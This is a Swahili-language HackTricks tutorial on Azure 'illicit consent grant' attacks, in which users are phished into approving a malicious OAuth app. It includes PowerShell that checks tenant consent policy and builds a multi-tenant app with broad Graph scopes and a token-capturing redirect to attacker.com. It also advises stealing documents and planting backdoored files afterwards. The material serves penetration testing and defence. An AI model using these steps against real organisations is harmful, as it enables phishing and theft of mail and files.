Az - Illicit Consent Grant

Support HackTricks

OAuth App Phishing

Azure Applications huomba ruhusa ya kufikia data za mtumiaji (maelezo ya msingi, lakini pia ufikiaji wa nyaraka, kutuma barua pepe...). Ikiwa imeruhusiwa, mtumiaji wa kawaida anaweza kutoa idhini tu kwa ruhusa za "Low Impact". Katika hali zote nyingine, idhini ya msimamizi inahitajika. GA, ApplicationAdministrator, CloudApplication Administrator na jukumu maalum linalojumuisha ruhusa ya kutoa ruhusa kwa programu zinaweza kutoa idhini kwa wapangaji wote.

Ruhusa pekee ambazo hazihitaji idhini ya msimamizi zimeainishwa kama low impact. Hizi ni ruhusa zinazohitajika kwa kuingia kwa msingi ni openid, profile, email, User.Read na offline_access. Ikiwa shirika lina ruhusu idhini ya mtumiaji kwa programu zote, mfanyakazi anaweza kutoa idhini kwa programu kusoma hayo kutoka kwa wasifu wao.

Kwa hivyo, mshambulizi anaweza kuandaa App mbaya na kwa phishing, kumfanya mtumiaji akubali App na kuiba data zake.

  • Unauthenticated: Kutoka akaunti ya nje tengeneza programu yenye ruhusa User.Read na User.ReadBasic.All kwa mfano, fanya phishing kwa mtumiaji, na utaweza kufikia taarifa za saraka.

  • Hii inahitaji mtumiaji aliyefanyiwa phishing aweze kukubali OAuth apps kutoka mazingira ya nje!

  • Authenticated: Ukiwa umedukua principal yenye ruhusa za kutosha, tengeneza programu ndani ya akaunti na fanya phishing kwa mtumiaji mwenye ruhusa ambaye anaweza kukubali ruhusa za OAuth zenye ruhusa.

  • Katika kesi hii tayari unaweza kufikia taarifa za saraka, kwa hivyo ruhusa User.ReadBasic.All si ya kuvutia tena.

  • Unaweza kuvutiwa na ruhusa zinazohitaji msimamizi kuzitoa, kwa sababu mtumiaji wa kawaida hawezi kutoa OAuth apps ruhusa yoyote, ndiyo maana unahitaji kufanya phishing kwa wale watumiaji pekee (zaidi kuhusu ni majukumu/ruhusa gani zinatoa haki hii baadaye)

Angalia kama watumiaji wanaruhusiwa kutoa idhini

Amri ifuatayo ya PowerShell inatumika kuangalia usanidi wa idhini kwa watumiaji katika Azure Active Directory (Azure AD) kuhusu uwezo wao wa kutoa idhini kwa programu:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Disable user consent: Mpangilio huu unazuia watumiaji kutoa ruhusa kwa programu. Hakuna ruhusa ya mtumiaji kwa programu inaruhusiwa.

  • Users can consent to apps from verified publishers or your organization, but only for permissions you select: Mpangilio huu unaruhusu watumiaji wote kutoa ruhusa tu kwa programu zilizochapishwa na mchapishaji aliyethibitishwa na programu zilizosajiliwa katika shirika lako. Inaongeza safu ya udhibiti kwa kuruhusu ruhusa tu kwa ruhusa maalum.

  • Users can consent to all apps: Mpangilio huu ni wa kuruhusu zaidi na unaruhusu watumiaji wote kutoa ruhusa kwa ruhusa yoyote kwa programu, mradi tu ruhusa hizo hazihitaji ruhusa ya kiutawala.

  • Custom app consent policy: Mpangilio huu unaonyesha kuwa sera maalum ipo, ambayo inaweza kubadilishwa kulingana na mahitaji maalum ya shirika na inaweza kuhusisha mchanganyiko wa vizuizi kulingana na mchapishaji wa programu, ruhusa ambazo programu inaomba, na mambo mengine.

Katika shambulio la illicit consent grant, washambulizi wanadanganya watumiaji wa mwisho kutoa ruhusa kwa programu hasidi iliyosajiliwa na Azure. Hii inafanywa kwa kufanya programu ionekane halali, na kupelekea waathirika kubofya kitufe cha "Kubali" bila kujua. Matokeo yake, Azure AD inatoa tokeni kwa tovuti ya mshambulizi, ikiruhusu wao kufikia na kudhibiti data ya mwathirika, kama kusoma au kutuma barua pepe na kufikia faili, bila kuhitaji akaunti ya shirika.

Muhtasari wa Mtiririko wa Shambulio

Shambulio linahusisha hatua kadhaa zinazolenga kampuni ya kawaida. Hivi ndivyo linaweza kufanyika:

  1. Usajili wa Domain na Ukaribishaji wa Programu: Mshambulizi husajili domain inayofanana na tovuti ya kuaminika, kwa mfano, "safedomainlogin.com". Chini ya domain hii, subdomain inaundwa (mfano, "companyname.safedomainlogin.com") ili kukaribisha programu iliyoundwa kukamata nambari za idhini na kuomba tokeni za ufikiaji.

  2. Usajili wa Programu katika Azure AD: Mshambulizi kisha husajili Multi-Tenant Application katika Azure AD Tenant yao, akiipa jina la kampuni lengwa ili ionekane halali. Wanasanidi URL ya Redirect ya programu kuelekeza kwenye subdomain inayokaribisha programu hasidi.

  3. Kuweka Ruhusa: Mshambulizi huweka programu na ruhusa mbalimbali za API (mfano, Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Ruhusa hizi, mara tu zinapopewa na mtumiaji, zinamruhusu mshambulizi kutoa taarifa nyeti kwa niaba ya mtumiaji.

  4. Usambazaji wa Viungo Hasidi: Mshambulizi hutengeneza kiungo chenye kitambulisho cha mteja wa programu hasidi na kushiriki na watumiaji walengwa, wakiwadanganya kutoa ruhusa.

Kutumia Zana kwa Shambulio

Shambulio linaweza kuwezeshwa kwa kutumia zana kama 365-Stealer.

Maandalizi Kabla ya Shambulio:

Ikiwa mshambulizi ana kiwango fulani cha ufikiaji kwa mtumiaji katika shirika la mwathirika, wanaweza kuangalia kama sera ya shirika inaruhusu mtumiaji kukubali programu:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Kwa kutekeleza shambulio, mshambulizi atahitaji kuunda App mpya katika Azure Tenant yao (katika usajili wa App), iliyosanidiwa na ruhusa:

User.ReadBasic.All iko ndani ya Microsoft Graph katika Delegated permissions. (Ruhusa za Application daima zitahitaji idhini ya ziada).

  • User.ReadBasic.All ni ruhusa itakayokuruhusu kusoma taarifa za watumiaji wote katika shirika ikiwa imeidhinishwa.

  • Kumbuka kwamba ni GA, ApplicationAdministrator, CloudApplication Administrator na jukumu maalum linalojumuisha ruhusa ya kutoa ruhusa kwa programu wanaoweza kutoa idhini ya tenant-wide. Kwa hivyo, unapaswa kumvua phish mtumiaji aliye na moja ya majukumu hayo ikiwa unataka aidhinishe App inayohitaji idhini ya admin.

Unaweza pia kuunda App kupitia cli na:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Angalia https://www.alteredsecurity.com/post/introduction-to-365-stealer kujifunza jinsi ya kuisanidi.

Kumbuka kuwa access token iliyopatikana itakuwa kwa graph endpoint na scopes: User.Read na User.ReadBasic.All (ruhusa zilizoombwa). Hutaweza kufanya vitendo vingine (lakini hizo zinatosha kupakua taarifa kuhusu watumiaji wote katika shirika).

Unaweza pia kutumia zana hii kufanya shambulio hili.

Baada ya Shambulio

Mara tu unapopata ufikiaji wa mtumiaji unaweza kufanya mambo kama kuiba nyaraka nyeti na hata kupakia faili za nyaraka zilizo na backdoor.

Marejeleo

Support HackTricks

Last updated